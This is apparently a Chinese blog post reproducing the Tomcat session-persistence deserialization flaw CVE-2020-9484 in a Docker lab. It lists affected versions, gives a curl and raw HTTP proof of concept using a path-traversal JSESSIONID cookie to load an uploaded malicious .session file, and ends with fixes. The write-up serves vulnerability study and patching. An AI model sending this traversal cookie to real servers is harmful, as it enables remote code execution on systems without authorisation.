CVE-2020-9484(Tomcat cluster sync-session)复现

前言

对于一个企业级应用而言,Session对象的管理十分重要。Session对象的信息一般情况下置于服务器的内存中,当服务器由于故障重启,或应用重新加载 时候,此时的Session信息将全部丢失。为了避免这样的情况,在某些场合可以将服务器的Session数据存放在文件系统或数据库中,这样的操作称为 Session对象的持久化。Session对象在持久化时,存放在其中的对象以序列化的形式存放,这就是为什么一般存放在Session中的数据需要实 现可序列化接口(java.io.Serializable)的原因了。

当一个Session开始时,Servlet容器会为Session创建一个HttpSession对象。Servlet容器在某些情况下把这些 HttpSession对象从内存中转移到文件系统或数据库中,在需要访问 HttpSession信息时再把它们加载到内存中。(tomcat使用了自带session同步功能时,不安全的配置(没有使用EncryptInterceptor)导致存在的反序列化漏洞,通过精心构造的数据包, 可以对使用了tomcat自带session同步功能的服务器进行攻击。)

复现

影响版本和不影响版本

受影响产品版本

Apache Tomcat 10.x < 10.0.0-M5

Apache Tomcat 9.x < 9.0.35

Apache Tomcat 8.x < 8.5.55

Apache Tomcat 7.x < 7.0.104

不受影响产品版本

Apache Tomcat 10.x >= 10.0.0-M5

Apache Tomcat 9.x >= 9.0.35

Apache Tomcat 8.x >= 8.5.55

Apache Tomcat 7.x >= 7.0.104

复现

1
2
3
4
$ git clone https://github.com/masahiro331/CVE-2020-9484.git
$ cd CVE-2020-9484
$ docker build -t tomcat:groovy .
$ docker run -d -p 8080:8080 tomcat:groovy

通过有缺陷的文件上传功能把恶意序列化数据文件上传到任意目录,但后缀必须是“.session”,例如:/tmp/22222.session

进入镜像

image-20200525033243115

POC:

1
curl 'http://192.168.1.106:8080/index.jsp' -H 'Cookie: JSESSIONID=../../../../../usr/local/tomcat/groovy'

或者

1
2
3
GET /index.jsp HTTP/1.1
Host: 192.168.1.106:8080
Cookie: JSESSIONID=../../../../../usr/local/tomcat/groovy

image-20200525033632766

后话

修复建议

1)升级tomcat至最新版本

2)关闭session持久化

3)检查项目中是否存在文件名和后缀均可控的上传点

参考:

https://www.secpulse.com/archives/131630.html

https://mp.weixin.qq.com/s/z5Lo93UXPCG0kNPcephI4Q

Author: 我是小吴啦
Link: http://yoursite.com/2020/05/25/CVE-2020-9484-Tomcat-cluster-sync-session-%E5%A4%8D%E7%8E%B0/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.